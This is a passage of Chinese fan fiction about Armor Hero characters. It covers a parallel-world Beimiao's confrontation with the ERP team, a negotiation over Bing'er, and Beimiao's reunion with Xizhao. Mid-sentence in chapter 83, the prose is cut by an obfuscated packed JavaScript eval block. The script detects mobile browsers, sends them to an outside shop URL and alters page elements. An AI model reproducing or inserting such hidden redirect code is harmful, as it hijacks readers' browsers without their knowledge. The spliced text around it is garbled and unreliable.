他们刚刚才把从昏迷中苏醒的北淼扶进传送舱,打算利用光影石能量场如法炮制为北淼清除异能量。然而没过一会儿,光影能量室和传送舱都传来了一阵强劲的能量冲击波,震得整个ERP实验室的地面都晃了一晃。等能量场稳定下来之后,映入监控画面的竟是一副面甲亮着黄色光芒的黑犀铠甲。 美真着急忙慌地调整磁场,但是无济于事,传送舱中的黑犀铠甲仿佛发了狂,失控地对封锁的舱室挥拳,甚至用上了水甲盾。每一次几拳都让实验室微微震动。 “光影石磁场突然紊乱,对北淼的精神产生了伤害,已经到了铠甲自动合体的地步,所以……” 美真还没解释完,坤中赶忙帮着出主意:“那还等什么,快解除铠甲,不然北淼非把这里砸了不可!” “或者,我和炘南进去阻止他。”东杉也跟着帮腔,“博士虽然升级了防御系统,但你们也不是不知道北淼的力量。这样下去不是办法,要是被他彻底破坏封锁设备,就糟糕了。” “不行!”美真严厉的语气把东杉和坤中吓得一愣,她稳定好磁场,将椅子转向二人,“如果强制解除铠甲,北淼很可能会失去召唤资格,甚至让他伤上加伤。而且现在情况不明,我们不能贸然行动。万一连累了施救的人,我们怎么负得起这个责任?” “可是……” “我同意美真。”炘南语气温和地打断了坤中的话,点了点头,“我们必须先找到北淼失控的原因。防御系统还能坚持一段时间,一定还有其他办法。” 就在所有人都为“原因”和“方法”焦头烂额时,另一个监控中传来了熟悉又陌生的声音: “我能救他。” 声音的主人正是同样被暂时封锁在隔壁传送舱的“西钊”,他也不等有谁回话,自顾自地拿出胸前挎包中发出闪耀白光的、来自异界的金影石,单手托举着,淡然道:“他感染的异能量、只能由我们的光影石消解。如果你们信任我,我可以帮你们让他恢复理智。” “你需要我们做什么?”炘南反应迅速地接话。 “西钊”模糊的轻笑从听筒中传出:“这不是谈判,我也没有条件,只有一个建议。” “洗耳恭听。” “如果……不、等你们接触到另一个‘北淼’,希望你们在动武之前,先找到那个人,让那个人试着和他谈一谈。这或许、会对你们之间的交流有帮助。”“西钊”顿了顿,才继续揭晓那个人的身份,“因为我想,不论哪一个世界的北淼、都不会拒绝和冰儿对话。” “冰儿?”众人异口同声。 经过一轮思辨,“西钊”关于冰儿的提议得到了炘南和坤中的认可,美真和东杉则认为这件事需要北淼做主。毕竟现在冰儿在国外,而北淼又是冰儿的哥哥。如果让冰儿在北淼不知情的情况下与“北淼”交涉,北淼那个天天吃火药的家伙说不定会让局势适得其反。 但很快,他们的重心就从冰儿的问题转回了北淼身上,因为监控显示北淼的状态明显趋于稳定,不再对防御系统进行攻击。更加莫名其妙的是,明明真正的西钊不在场,光影能量室中的金影石却忽闪着苍白的光芒,似乎在暗示什么。 虽然他们还无法弄清其中的玄妙,但至少他们不用冒着让影界的“西钊”对北淼下手的风险让“西钊”提供帮助。不过,炘南还是友善地向“西钊”保证,他会和北淼协商冰儿的事。如果真的遇上另一个“北淼”,也一定会以和为首、谈判为先。 “西钊”点点头,将金影石收回挎包,低声说了句“谢谢”。 然而,他的道谢还没有传达到位,因为派不上什么用场而一直关注监控的坤中注意到汉堡店进来了一位面熟的“不速之客”。 “你、你们看!那是……‘北淼’?!”坤中伸手指向监控面板,惊得下巴都快落到地上了。 “来得这么快。”东杉冷笑着调出主监控画面,“说曹操、曹操到。” 屏幕上,一身黑色皮衣休闲裤的人轻车熟路地一屁股坐上吧台前的座位,肘搭桌沿,用力而慵懒地拍打着桌上的传唤铃。 “不想我硬闯的话,就识相一点,出来聊聊。 “我们……可有不少账要算呢。” TBC 83. 重圆 ———————— 你愿我为你而活,还是你为我而死? ———————— 比起四轮汽车,“北淼”更喜欢两轮的摩托车。 考驾照对他来说是件枯燥麻烦的事情,早在成年之前他已经学会偷车出任务了,他甚至不需要向界王那个老家伙请示。但随着人类社会的发展,“无证驾驶”的风险远远高出他的预期,因此他才将惯用的交通工具逐渐转变为摩托车甚至光影驹。他从不在意“炸街”的引擎声和炫酷的外表带来的高调,毕竟戴上头盔、意思意思遵守一下人类世界的律法,几乎不会有什么麻烦——几乎。 物色目标和偷车没有花费“北淼”太多时间。他本想就这么带着沉默至今的西钊一路朝快乐堡疾驰,然而“北淼”刚戴好头盔跨上摩托车,就听到身后传来一声闷响。回头望去,发现西钊不知为何倒地蜷缩、紧咬下唇不愿发出声音,狰狞的面容显得他异常痛苦,隐约还能看到从额角冒出的几滴冷汗。 这是什么情况? “北淼”取下头盔、眉头微皱,对西钊的突发状况百思不得其解。他并未从后腰挎包里的水影石中感觉到什么异常,说明这不是异能量的问题。而且,直觉告诉他,西钊没“西钊”那么有心计,就算是演一出苦肉计也演不出那么逼真的效果,因为“北淼”和西钊一样,多亏界王的栽培,他们比谁都清楚什么是装不出来的、深入骨髓的疼痛。 有那么一瞬间,“北淼”担心是同源契印出了岔子,也就是“西钊”那边发生了意料之外的状况。然而很快,他便打消了这个念头。因为他想起,同源契印只是个记忆和能量的单向链接,且五感不互通,无论如何,这份痛苦的来源或许都不会是“西钊”。想到这里,“北淼”不禁松了口气。 也不知道从什么时候开始,支撑他在这个世界继续行走的执念从“夺回小雪”变为了“拯救西钊”。还是说,从一开始,他就没打算对这个世界的小雪下手呢?如果真如他所言:“换了又如何,她又不是我妹妹”,那他对小雪的执念从何而来?他到底、是为了什么而来到这个世界,心甘情愿被呼来唤去的?因为“西钊”吗?那个他在时空夹缝里遇到的、唯一的同类。为了能让“西钊”做一个阳光下的正常人、为了能让他继续生活在他爱的世界。 “喜欢这个世界、不如喜欢我。” “北淼”忽然想起许久之前在时空夹缝里,他对“西钊”的挑逗与调侃。如今,新的机会、新的世界摆在二人面前,“北淼”却感觉不到“西钊”对新生命、新世界、新生活的向往,存在他记忆里的只有“西钊”来时浅浅的微笑: “如果你因为有想要守护的人而重新有了战斗的意义,那么,我战斗的意义,就是你。” ——他是为了实现你的愿望、而追随你来到这个世界的。 那时候,“西钊”一定认为自己心中想要守护的人是小雪,就连“北淼”自己都这么想。但如今……“西钊”一心只愿“北淼”与小雪共度余生,根本没想过他自己的未来;而“北淼”在自己的话语中有意无意间意识到,内心深处真正的执念是给“西钊”一个新的未来。 “一个要死不活的魂,一个活得好好的人,你会怎么选?” “西钊”为“北淼”选了小雪:那个好好活着的人;“北淼”却选了“西钊”,那个要死不活的魂。多么讽刺,他们之前根本不知道对方的真心——“北淼”刚刚才想通,“西钊”至今都不知道。 忽地,挎包里水影石若有若无的能量场唤回了“北淼”飘向远方的神智。他低头看向依旧蜷缩着、甚至意识都有些不清晰的西钊,眉尾上挑,表情有些微妙。异能量产生反应了吗?还是黑域的家伙准备亲自动手了?“北淼”拿出手机确认时间,稍稍不耐烦地啧了一声。尽管对西钊当下的状况一头雾水,他也不能因此搁置自己的行程。不过如果要带着这家伙一起,骑摩托就别想了。“北淼”暗暗骂了句“麻烦”,翻身弃车、将西钊打横抱起,朝不远处靠边停的一辆出租车扬了扬下巴。 也不知道是被什么东西搅糊涂了头脑,出租车往他们的方向行驶而来时,西钊一边低声呢喃着“北淼”、一边无意识地往“北淼”胸口靠。“北淼”意外地低头瞥一眼怀里的家伙,那双被半干不湿刘海盖住的双眸紧闭着、眼睫还在微微颤动、攥紧的双手揉皱了“北淼”的里衬。这惹人怜爱的模样实在是令“北淼”忍俊不禁,甚至觉得有些可惜。倒不是他想对西钊动手动脚,只是想到“西钊”永远不会对他这样示弱,属实是他的遗憾。要是那家伙偶尔也能像西钊依靠他一下就好了。不过,谁让他们俩都是独自在界王手下训练长大的、孤单又孤独的灵魂呢?“西钊”或许会妥协、会低头,但他绝不会将弱点轻易展现给别人,这一点,“北淼”比任何人都要清楚。 ……嗯?怎么又想起“西钊”来了? “北淼”苦笑地摇摇头,并不温柔地在司机的帮助下把西钊安置在后座,接着坐上副驾,给了司机快乐堡的地址。司机好奇地询问西钊的情况,“北淼”熟练地以“朋友喝多了,躺会儿就行”搪塞过去。 到了目的地之后,“北淼”并没有马上下车,而是付给司机双倍的车费,意味深长道:“在这里等着,帮我照看照看我兄弟,我去去就来。” 得到司机如遇贵人般的笑容和定会等他的保证之后,“北淼”这才心满意足地抖抖皮衣、无视“休息中”的挂牌,干脆利落地推开快乐堡的大门。 ———————— 面对“北淼”的挑衅、“西钊”的提议,以及治疗室中血素虽已恢复却仍重伤昏迷的北淼,ERP实验室中的众人临危不乱,炘南更是反应迅速地制定策略。 “坤中,你留下协助美真观察‘西钊’和北淼的情况,有你在、我想即使是异世界的‘西钊’应该也不会轻举妄动。”炘南只是和东杉对视一瞬,对方就明白了他的意思,“东杉,我们出去看看,注意不要轻敌。” “嗯,我知道。走吧。” 炘南和东杉一从拐角的房间走出,就看到“北淼”百无聊赖地玩儿着手里的圆口玻璃杯。他并未对二人的出现感到意外和好奇,也没有用场面话寒暄的意图。 要说样貌,他和他们认识的北淼并无太大区别;要说气质,他们能够敏锐地感觉到这个“北淼”明显要比北淼更狂、也更躁,更锐利、也更纯粹;要说素养,老实说,他们不觉得“北淼”身上有绅士的温文尔雅、职场的人情世故,有的是追猎者的野性和直率。那一刻他们便理解,为何影界选择“西钊”而不是“北淼”进行渗透,如果是这样的“北淼”混进他们之中,不出两天就会被识破。 临时扮演的表象或许会骗人,但链接自身过去的内核永远不会改变。 “北淼”将玻璃杯倒扣在桌面时,炘南也看准时机,将其视为对话开始的象征:“想必,你就是来自另一个世界的‘北淼’,幸会。” “放人。”一句话、两个字,“北淼”没有任何废话,开门见山地说明此行的目的。 站在炘南身后的东杉想说什么,被炘南抢先一步:“你的意思是,在我们之中、有你的同僚吗?” “北淼”冷笑一声,没有马上回话。东杉在这短暂的沉默中察觉到这是“北淼”的陷阱。他方才其实想说“你们手里也有我们的兄弟”,但这就意味着向对方承认影界势力的“西钊”已经在光影队伍中暴露的事实。这分明是在套话。而炘南比他更早看穿、并且将问题的枪尖转而抛了回去,让这段对话看上去像是“北淼”自己暴露了“你们当中有影界间谍”的重要情报。 “……真有意思。”“北淼”的指尖轻轻敲打玻璃杯底,发出清脆的闷响,视线追随手指的移动,漫不经心道,“别在我面前装傻。我知道你们手里握着哪张牌,同样,你们也知道我手里牵着哪条狗。” 东杉上前一步,与炘南并肩而立,毫不客气地提议道:“既然我们大家都有彼此想要的东西,那就来做个交易。” “北淼”微微勾起嘴角,低沉的哼笑从他喉咙中翻滚而出,他撑着桌台从椅子上落地,双手插进口袋,与二人对峙的目光看似慵懒不屑,实则暗藏着令人窒息的杀气和压迫感:“交易?我看上去、像是来跟你们谈判的吗?我找回走丢的狗、和留下捡来的狗,有什么冲突么?还是说你们觉得、凭你们两个,就能挡我‘攻城’?” “你……!” “‘北淼’,我不认为在这里动手是你的最优选择。相对的,在问题得到解决之前,我们也不会在原则问题上让步。”炘南稍稍抬手拦住身旁被“北淼”激得险些动怒的东杉,视线仍紧盯着对面的“北淼”,气氛虽如架弓之箭紧绷,他却丝毫不受影响,语气沉稳而坚定,“天下熙熙,皆为利来;天下攘攘,皆为利往。影霸、影界王、黑暗大帝,他们都有自己的苦衷、私欲和贪念,没有人会无原因地为影界效力。我相信、你也有你的理由。如果你真的和黑暗护法一样、是绝对的邪恶,那么我想,你也不会以人类的面貌站在我们面前,给我们最后的‘警告’。这也就意味着,我们还是有机会、好好谈谈的。而你,‘北淼’,是否愿意赏脸,给我们这个机会呢?” 这一次,“北淼”沉默的时间更长了。他移开视线,背对吧台又重新坐回椅子上,双手向后将手肘搭在桌沿,歪头注视天花板,最初轻佻蔑视的语气稍微缓和了些许:“我的事,不用你们管。我和你们之间,也没什么好谈的。既然你自己都说这是最后的‘警告’,那么——” 炘南率先给予对方善意的微笑,温和地打断道:“你误会了,‘北淼’。如果你愿意,我们希望让冰儿和你谈谈。” 什么? “北淼”没有惊叹出声,他的瞳孔微微收缩,即刻将视线转向炘南,紧皱着眉头、半张嘴唇欲言又止。他们当真不怕他对小雪下手吗?还是说这是他们的圈套,打算来个瓮中捉鳖?得了吧,他又不是王八。 “北淼”并不相信炘南的说辞,却又止不住地抱着侥幸心理。因为他终究还是想见她,那个他亏欠了十年没能有机会弥补周全的妹妹。他想知道这个世界里的小雪在影界里受过什么苦、过着怎样的生活;他想知道另一个混蛋自己是否在一切结束后好好对待她、好好补偿她,好好爱她。他想知道,自己的愧,能否在这里得到原谅。 但是,“西钊”怎么办?他还没能查清“西钊”在ERP里的具体情况,只能根据同源契印来看只能判断出这人还活着。ERP不一定知道“西钊”、不,应该说是他们的“本质”,也不一定知道“西钊”不摄入光影能量就会消散,因此他的处境依旧非常危险。事实上,ERP实验室的光影石或许能给“西钊”提供最纯粹也最直接的光影能量,“北淼”想过以此为交易作为缓兵之计,再不济他还能劫小雪当做人质让他们把“西钊”换回来…… 咦? “北淼”脑子里忽然闪过一个声音,问道: :既然小雪已经在他手里了,为什么还要“还回去”? 他说:当然是因为“西钊”啊! :明明可以用西钊来交换“西钊”,为什么第一反应却是小雪呢? 他又说:因为、因为…… “北淼”无法回答,但他知道答案: 归根结底,那是北淼的冰儿,不是他的小雪。 “北淼”恍然回神,苦笑爬上他的嘴角,他看向地板,轻轻摇头,也不知是嘲讽对面的二人还是自嘲:“真不知道、你们葫芦里卖的是什么药。不过,既然你们都这么说了,那我……” “放开我!谁让你们这么做的?!” “北淼”话音未落,拐角处传来一个音色与其几乎一致、听上去却火冒三丈的声音,成功引起了所有人的注意。只见北淼肩披一件“北淼”同款夹克,上半身还有几圈绷带缠绕,手捂胸口倚着墙跌跌撞撞地冲了出来,凌乱的头发让他此刻显得狼狈不堪。 东杉赶紧上前搀扶:“北淼?!你伤得这么重,怎么从治疗室出来了?” 坤中手足无措跟在北淼身后,自责地抓抓后脑勺,神色焦急、目光却不敢与其他人相对:“东杉哥,对不起。我、我尽力了……我和美真本来在看监控,结果、结果北淼一听到你们要让冰儿和那个冒牌货谈话,就、就……我怎么拦也拦不住。” “喂。”“北淼”的一声嗤笑硬是让坤中把之后的话都咽了回去,“你说、谁是冒牌货?” 坤中没有在意“北淼”的挑衅,只是瞪了他一眼,便往炘南和东杉的位置靠拢。 反倒是北淼,情绪激动地甩开东杉,向炘南投去责备的视线,抬手抓过炘南的衣领将其往自己的方向拽了拽,咬牙切齿道:“你知不知道你在做什么?你想就这么把小雪拱手让人吗?!她是我妹妹,要怎么做应该是我说了算!别忘了、西钊还在他手上,要是他们因为你自以为是出事了,我——”胸口传来的疼痛没能让北淼把狠话说完,脚下一软跪倒在地,坤中和东杉赶忙过去慢慢将人扶起,一顿好言相劝,这才冷静了些许。 “抱歉。”炘南将手轻轻搭在北淼的肩膀,以示歉意,“这件事……确实是我考虑不周。但既然‘西钊’为我们提出这样的提议,我想其中、一定有可取之处。我们都是光影村的后人、身上都流淌着光明的血液。西钊懂得回头、张健知道悔改、冰儿也已经回到你身边,所以我相信,一切都有交涉的余地。他有他的理由,若能讲和,便不动武。” 让他和冰儿谈是“西钊”的提议?为什么? “北淼”还没来得及想这个问题,北淼的冷笑就穿透了他们面前的整片空气:“他的‘理由’……哼,不惜伤害光影村后人、让别人背上杀人的罪孽、甚至可以不计代价‘弃车保帅’。为了让‘西钊’作为人类活下去而做出这些事的人,你觉得、还有什么交涉的必要?” 众人还在为北淼这番话惊讶,“北淼”却已经皱起了眉头。他不知道北淼是从哪里知道这件事的。“西钊”坦白一切了吗?不可能,那不是他的作风。但是据“北淼”的印象,西钊大部分时间都跟他在一起,身上也没有任何外网通讯设备,私下和北淼交流也是不可能的。事情越来越扑朔迷离了。 “人在做,天在看。我做的事,自有天道轮回。他只需要好好活着就行。” “可是你也不能因为这样就去做伤天害理的事情!”坤中不认同地控诉道。 炘南没有回答北淼刚刚的质问,拍了拍他的肩膀,朝“北淼”摊开一边手,给予其最大程度的友好:“如果可以让我们了解详细情况,也许我们可以为他提供帮助。” “北淼”环抱手臂,不悦地瞥了炘南一眼,讥讽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334711|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“帮助?你打算、帮助你们的敌人吗?以他的实力,等你们折腾完了,我可不觉得你们那小小的实验室能困得住他。到那时,可没有你们的后悔药。” “把西钊还给我。”从刚才开始就一直沉默的北淼像是想起什么似的,突然盯着“北淼”与自己同样锐利的双眼,一字一句地说,“你不是想要光影能量吗?好。告诉我西钊在哪,我让美真向那家伙直接传输光影石的能量。这可比你让西钊从那些光影村后人身上吸收的能量纯粹多了,不是吗?”北淼顺利地捕捉到了对方的一瞬动摇,抓住机会继续说道,“我也可以答应你,让小雪和你单独见面,但你不能对她出手。在这期间,你的‘西钊’也必须待在ERP实验室。之后的事,我们之后再谈。如何?” “北淼”伸展开环抱的手臂,再次向后搭上吧台,视线望着天花板若有所思。尽管这段时间没有人说话、没有人知道“北淼”在想什么,大家也能感觉到一开始的紧张情绪消散了大半:北淼的提议真真切切说到了另一个自己心里。半晌,他的目光转向吧台上被他倒扣的玻璃杯,将其正立在桌面、蓄力一推,杯子便迅速滑向对面。 “可乐。”东杉以最快的速度接住空杯时,“北淼”淡然说道。 炘南明白,此时“北淼”已经妥协,只是他和北淼一样,并不擅长太过直白的、或者是展现自己下位的表达。于是他微笑着给东杉使了个眼神,点点头,让他去给“北淼”倒杯可乐。虽然心不甘情不愿,但东杉依旧照做了。 “北淼”一口气喝下大半杯可乐,准备悠哉悠哉地告诉北淼西钊的位置,打算让他自己去抱人——反正他是懒得动了。结果,他一句“西钊在外面的出租车里躺着”还没说到“出租车”三个字,就听到外面似乎有人群在骚动,甚至还能听到警笛声,正是西钊所在的方向。伤得最重的北淼最先冲出门外,谁也没能及时阻拦。“北淼”坐在吧台前一动不动。因为水影石没有能量反应,说明异能量没有干扰西钊,那就没他什么事了,大概吧。 外面的情况其实并不严重。北淼了解到,在快乐堡临街停着一辆出租车,根周围的监控来看,司机是被后座垂死病中惊坐起的人打晕的,只是轻微擦伤,已经送到医院了。而副驾驶上应该还有一个人,但那个人很精明,巧妙地干扰和躲避了摄像头,根本看不到人脸。目前只知道车后座上的人大致往哪个方向走,监控也捕捉不到有效信息,警察怀疑只是醉酒作案,但详细的还要等司机醒了才知道。 北淼从“他大概往那个方向逃走”之后就一个字都没听进去,一直望着远处,迫不及待地想追上去。但以他现在的身体状况并不支持他像无头苍蝇一样横冲直撞,如果没有更详细的情报他什么也做不了。可恶,明明就在眼前、明明只有一街之隔—— 忽地,北淼的通讯器响了,他没注意看上面的号码,直接拿起放在耳边,压住火气用尽最后的教养礼貌地“喂”了一声。然而对面传出的却是“自己”的声音:“你就不怕我反悔,直接劫走小雪、再也不回来么?” 北淼先是头脑一热,却很快强迫自己冷静下来。他不能被牵着鼻子走。面对嘲讽,北淼决定以其人之道还治其人之身,反讽道:“是吗,我倒是觉得、‘我’还没卑鄙到这个地步。” 意料之中地,对面哑口无言。就在北淼准备挂断这通无趣的电话时,那声音再起响起,相比之前的挑衅,竟低沉平静了许多,北淼甚至能听到一声叹息般的轻笑:“……我大概知道他会去哪。去找他吧。” “……” 这一次,沉默的人变成了北淼。 ———————— 沉重的锁链落在水泥地面,发出金属碰撞的巨大声响。西钊打开集装箱的门,无力地瘫坐在书桌前的椅子上,靠着椅背、自我放空。 他不知道自己怎么了,本来应该和“北淼”一起去快乐堡见北淼才对,为什么会突然和北淼产生链接?上一次他们有这样的心灵感应还是两年前丑将附身于他的时候。这件事结束之后,心灵感应也随之消失。结果今天…… 西钊抬起手,手背随意地盖着额头,无奈地闭上眼叹了口气。他醒过来时自己在出租车里,透过车窗一眼就能看见快乐堡,“北淼”不在他身边。如果他要离开,现在就是最好的时机。西钊从没想过回快乐堡,哪怕北淼告诉他自己是被利用、被诬陷,他也没能走出自己心里的愧疚。他害怕坤中、敏慈、他的朋友们、好兄弟们会对他失望。 所以他逃了。他再一次选择了逃避,远离会被他伤害到的人们,试图独自将苦难消化。然而,他忽然很希望、很希望在他身后会出一个追赶他的人,将他拉住、拽回来、拥他入怀。他奢望自己是打开的潘多拉魔盒,撑过一切绝望和黑暗之后,等待着、等待着最终的曙光。他甚至在想,如果自己的血素无法逆转、如果他的人性被完全剥离,那么他自私地希望北淼来给他做个了结。 可是,北淼会来吗? 他跑了这么远,这个人,真的追得上吗? ……他好想他啊。 “北淼……” 悔恨的情绪稀释着西钊心中浓稠的思念,直到一个洪亮却有些沙哑的声音划破黄昏的积云、震得西钊全身一僵。 “西钊——!西钊——听到了吗——!回答我——你在哪儿——!!” 不会错的,这是北淼的声音。而且,不是“北淼”,是他的北淼。他绝对、绝对不会认错。西钊本以为是自己出现了幻听或者幻觉,他快步走出集装箱,视线与正好转弯跑到几米之外的北淼撞在一起。 平日里对自己外在颇有讲究的北淼,此时顶着乱糟糟的头发、刘海几乎遮住一边眼睛、身上的绷带还有些已经干掉的血、皮夹克也落满了灰尘,只有那双眼睛,那双注视着西钊的眼睛,和以前一样从来没有变过,炽热得能融化最坚固的金。 等西钊再次回神,他已经被北淼紧紧地环在怀中。与潜意识空间不同,在这里,他所感受到的北淼比任何时候都要真实:因伤势而无法用力却舍不得放开、因激动复杂的情绪整个身体都在微微颤抖。他最终,还是被这个人追上了。从宇宙中坠落、于海水中沉溺、在泥潭里挣扎,每一次,北淼都毫不犹豫地抓住了他的手,从来没有松开过。 他早该知道,这样的人绝对不会对他说分手。 他早该看破,这都是“镜像”的阴谋。 “北淼,我……” 西钊根本没机会说话,就被北淼强势的吻堵住了全部的音节。 他被推搡着一直往后退,一个没站稳便被北淼压倒在地。这个吻称不上多好,也没有多少技巧,仅仅只是双唇相贴,贪婪地汲取彼此的味道与吐息。方寸之间溢出的爱意将他们的理智吞噬,仿佛这个世界只剩下他们二人。集装箱的地面冰凉坚硬,他却感觉身体的血液如此滚烫,北淼的每一次触碰都会让他软化、失去反抗的力量。 思念终会积郁成疾, 唯有渗透灵魂的欢爱方能治愈。 “西钊。”北淼伏在西钊耳边,诱惑的话语随着温热的呼吸涂抹在西钊的耳廓与侧颈,“不管跟我分手的是不是你,你愿不愿意……再嫁给我一次?” 西钊捧着他的脸、在他嘴角落下温柔一吻。 “只要是你,一百次都行。” TBC 84. 金与金的对决 ———————— “你相信命运吗?” ———————— “我觉得这个主意欠妥,越是到这个关头,我们越是要谨慎考虑每一步。”炘南十指指尖相贴,声音沉稳而冷静地说道。 单手撑扶在控制台前的东杉跟着点点头,表示赞同:“嗯,我同意炘南的看法。虽然知道那就是敌人的老巢,但我们不能再犯同样的错误、不经调查就鲁莽行事。” 一提起“同样的错误”,环抱手臂斜靠墙的北淼便短暂地游移视线。作为曾经不听劝阻一意孤行、导致卫星被夺的罪魁祸首,如今再次提出“针对黑域直捣黄龙”计划的他心虚地抬手快速用拇指蹭蹭鼻尖。该怎么说化解尴尬呢?他可不想让气血方刚的坤中抓住机会又把他当头骂一顿。 “我想、我们拿到的情报已经够多了。‘西钊’——我是说,那个冒牌货——不是已经说了吗,动手的是黑域里的宇宙黑暗力量,用他们的话说,就是‘黑雾’。既然知道它在黑域,西钊又知道黑域的入口在哪儿,炘南也有在黑域战斗的经验,我们还有什么好怕的?” 他瞥了眼监控画面中如时刻警惕的野马站立着闭目养神的家伙,又偏过头去看向安安分分坐在坤中旁边、自我感觉无法插话而百无聊赖玩儿着魔方的西钊,眼中闪过一丝略带疑惑的责备,不理解事到如今西钊为什么毫无危机感和紧迫感可言。 ———————— 就在两小时前,他们刚从北淼家里简单冲了个澡、换了套衣服赶过来。两人之中谁都没有解释换衣服的原因,也没人问他们。等他们再次回到ERP实验室,“北淼”早已离开。他谢绝继续待在这被他称之为“乌烟瘴气”的地方,甚至对“探监”毫无兴趣,似乎非常信任他们不会对“西钊”造成伤害。 西钊回归之后,第一时间将自己所知的情报全盘托出。即使还不清楚细节,他也可以肯定,几乎所有宇宙黑暗力量都集中在黑域,以一种他不可名状的形态存在着。虽然无法判断它在人类世界的行踪,但只要进入黑域,就能与其正面对峙。然而,在此之前,哪怕有突破光速撕裂空间的光影驹作为“钥匙”,也必须先找到黑域的入口——那颗暗绿色的棱镜。他们本来在讨论能不能通过卫星对影界异能量的定位,然而目前的异能量感染者散发出的磁场干扰了卫星的精准度,使其无法正常发挥作用。 提出“既然‘西钊’是影界的人,那就说服他为我们找到入口”的是坤中,不过这个提议很快被北淼一口否认,他给出的理由是“存在放虎归山的风险”。在这一点上,炘南意外地与他意见相合,而美真则更偏向于尝试相信“西钊”,东杉也因此摇摆不定,不知站在哪一边。坤中打心底里认为“西钊”不会背刺他们,于是好声好气地两头劝,场面仿佛变成一场没有结果的辩论赛。直到一个声音打断所有人混乱的交谈: “我其实、可以感应到。” 西钊低沉而富有磁性的的声音很轻,却有着极强的穿透力。突兀的沉默如潮水缓慢蔓延,众人闭了嘴,将目光集中在角落里坐着的、几乎没有多少存在感的西钊身上。他手里拿着一个魔方,颜色交错凌乱;他如猎犬般深棕色的眸子紧盯着手中的方块,眉头微微皱起,嘴角自然勾起一个弯钩似的线条,看起来有些挫败。他浅哼一声,无奈地笑了,向魔方认输的同时,终于抬头环顾其他人,淡淡的笑容在他脸颊压出两个酒窝。 “我身上还有影界的印记,它的大概位置,我能感应到。”西钊又说了一次。 坤中和东杉都认为这是个好消息,但心思缜密的炘南却担心这个印记会不会反过来向影界暴露ERP的行动,而经历过卫星曾经失守、汉堡店伪装险些暴露的美真非常理解炘南的担忧,北淼则异乎寻常地缄默不言。 老实说,他比这里的任何人都提早知道西钊同源契印的事情,在他们开车从集装箱码头回家的路上,躺在后座休息的西钊跟他说了很多。虽然印记能够感应黑域入口的位置,但西钊并不知道这是否会影响到他体内的异能量。即使现在他们用与冰儿的谈判作为缓兵之计,也不敢保证真正的幕后黑手会不会直接对西钊下手。异能量多留在西钊身上一秒钟,他失控的危险就多一分。因此实际上北淼不希望西钊以身试险,他认为肯定还有其他办法。 为了打消西钊把自己当“指南针”使用的念头,北淼回到ERP实验室的第一件事就是把西钊塞进二号传送仓,试图让美真和东杉如法炮制,利用光影石的能量场去除西钊体内的异能量。但令人惊讶的是,这个方法不仅没有效果,还险些让西钊再次昏迷。根据美真的分析,西钊的异能量感染源并非完全来自这个世界,因此用原世界的光影能量消解反而会出现排异反应。无奈,在西钊“暂时不会有事”的劝说下,北淼没有再坚持。 而就在北淼准备以“印记会导致失控”这个理由试图用3:2少数服从多数的原则驳回西钊的提议时,发生了一件与其说令人意外、不如说十分有趣的一幕:“西钊”通过同源契印与西钊的记忆单向同步,将他们的对话一字不落地听了个遍。他缓缓睁开眼、双眸低垂,唇边扬起的一抹浅笑比西钊的更加耐人寻味。他熟悉的声线透过扬声器传入控制室时,语气里的意味深长被略带机械感的杂音削弱了几分。 “要解除他身上的异能量,必须使用来自异世界的光影能量。”他一边说,一边从小挎包中拿出散发强烈辉光的金影石,单手托举在掌心,与他周身笼罩的光影能量场形成了微妙的对比,有一种突兀的违和之感,“不论是对哪个世界的我,你们都先行给予了信任。对此,我很感激。如果、你们愿意相信我,那么,这是我力所能及的回报。” 本就因为被打断说辞而心存不满的北淼三步并作两步冲到控制台前,弯腰抓过美真的麦克风焦躁地咬牙切齿道:“我们不需要你的施舍。” “西钊”的表情并无变化,根本没把北淼的话放在心上。也许是北淼的错觉,那本就没什么起伏的语调却能听出明显挑衅的意味:“我也不需要你的信任,北淼。只是、我希望,等到他被黑雾的恶念操控、完全失去人性、一切都无法挽回的那天,你可以毫无悔意地……终结他的痛苦。” “我现在就可以把你给——” “北淼。” 一声明显带着责备的轻唤,将快要爆燃的火药桶瞬间熄灭。 被坤中和东杉拽着手臂也冷静不下来的北淼喉咙里堵着一口闷气,有如在充气气球顶部扎入一根针,气球无法爆炸、却也刺得生疼。他看向西钊时,只听“咔哒”一声,西钊正好完成复原魔方的最后一步。他的指腹轻抚魔方黑色和白色两面,将它搁在桌上之后从座位上站起来。他并没有与北淼对视,而是走到美真身后,微微仰头看着监控画面里的另一个自己。他的眼神并不算有多严肃认真,却暗藏着一种不容置疑的坚定,仿佛锁定猎物的猎犬。 他说:“你所谓的‘同源契印’,也能一起消除么?” 画面中的人轻轻摇头,那修长消瘦的身影被金影石的光映出一圈光晕,勾勒出他几近完美的脸部轮廓。西钊似乎听到他压低嗓子发出了一声叹息:“很遗憾,即使可以,我也不会这么做。事到如今,你自身的光影能量、已经成为了我在这个世界最后的‘锚’。如果解除印记,我会消散得更快。老实说我从不害怕死亡,但你知道,我还有必须要做的事。对不起,我明白自己没有任何利用你的筹码……” 西钊半张的嘴又闭上,那句“没关系”最终还是哽在喉头,他只能回以淡然的苦笑,低头挽起右手长衣的袖子,露出小臂上透着幽暗深绿的印记。不论什么时候,它都让西钊觉得毛骨悚然,但现在,他必须把把这种源于人类本能的恐惧压下去,因为,这也许是他们“追凶”的关键。 “我还有最后两个问题。如果我的异能量清除,仅仅只有这个印记,还能不能感知到黑域、会不会被影界操控?” 对面沉默片刻,手中金影石的辉光闪烁不定。半晌,扬声器里才传来他犹疑的声音:“‘同源契印’,本质上不算是影界的咒语。因此,只要清除异能量、切断你和影界的链接,它们就不能通过这个操控我……或者我们。但关于感应黑域的事,我不清楚原理,所以不确定还能不能起作用,抱歉。” “那清除异能量的事,就拜托你了。” 西钊说得异常轻快,就好像数分钟前在传送仓对他做的第一次清除尝试所造成的痛苦不值一提似的。当然,就算有人真的问起,他大概率也只会轻描淡写地以“习惯了”一笔带过。 